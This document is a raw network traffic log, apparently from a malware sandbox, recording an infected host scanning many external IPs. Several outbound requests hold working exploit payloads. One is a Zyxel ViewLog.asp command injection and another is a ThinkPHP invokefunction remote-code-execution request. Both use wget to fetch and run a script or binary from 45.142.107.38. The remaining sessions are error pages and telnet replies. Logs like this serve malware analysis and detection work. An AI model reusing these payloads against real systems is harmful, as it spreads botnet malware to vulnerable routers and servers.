Mar 4, 2024 15:06:29.046776056 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:06:28 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.13	47760	154.55.166.161	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:29.256433964 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 33 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:37Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.13	39532	154.39.194.125	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:29.441339016 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:27Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.13	39538	154.39.194.125	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:30.077975988 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:27Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.13	39542	154.39.194.125	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:30.702874899 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:28Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.13	43844	94.122.74.23	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:30.831751108 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.13	34776	94.121.139.57	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:30.832102060 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.13	43982	62.150.135.15	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:30.860426903 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:31.106698036 CET	109	IN	HTTP/1.1 302 Found Location: https://192.168.0.14:443/cgi-bin/ViewLog.asp Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.13	48446	88.99.29.163	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:30.876219034 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:31.053014040 CET	395	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:06:30 GMT Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 12 X-Content-Type-Options: nosniff X-Robots-Tag: noindex Strict-Transport-Security: max-age=31536000;includeSubDomains X-Correlation-ID: 86a9b8f1-b8b5-4008-b9a7-3a795976c418 X-Kong-Response-Latency: 2 Server: kong/3.0.0 Data Raw: 42 61 64 20 72 65 71 75 65 73 74 0a Data Ascii: Bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.13	53792	88.207.19.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:30.905745029 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:31.110008955 CET	1286	IN	HTTP/1.1 400 Bad Request Connection: close Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Cache-Control: no-cache,no-store Pragma: no-cache Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>P
Mar 4, 2024 15:06:31.110497952 CET	217	IN	Data Raw: 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e Data Ascii: adding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.13	53148	88.247.238.196	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:30.926088095 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.13	36442	88.225.230.126	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:30.929899931 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:31.158843040 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:06:30 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.13	43442	94.123.186.209	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:31.077039957 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.13	53810	88.207.19.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:31.305571079 CET	1286	IN	HTTP/1.1 400 Bad Request Connection: close Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Cache-Control: no-cache,no-store Pragma: no-cache Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>P
Mar 4, 2024 15:06:31.305588961 CET	217	IN	Data Raw: 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e Data Ascii: adding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.13	39558	154.39.194.125	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:31.343861103 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:29Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.13	47654	112.46.228.48	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:31.464934111 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:33.303103924 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.13	36222	95.164.89.221	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:32.646811962 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:33.007726908 CET	96	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 192 Connection: close
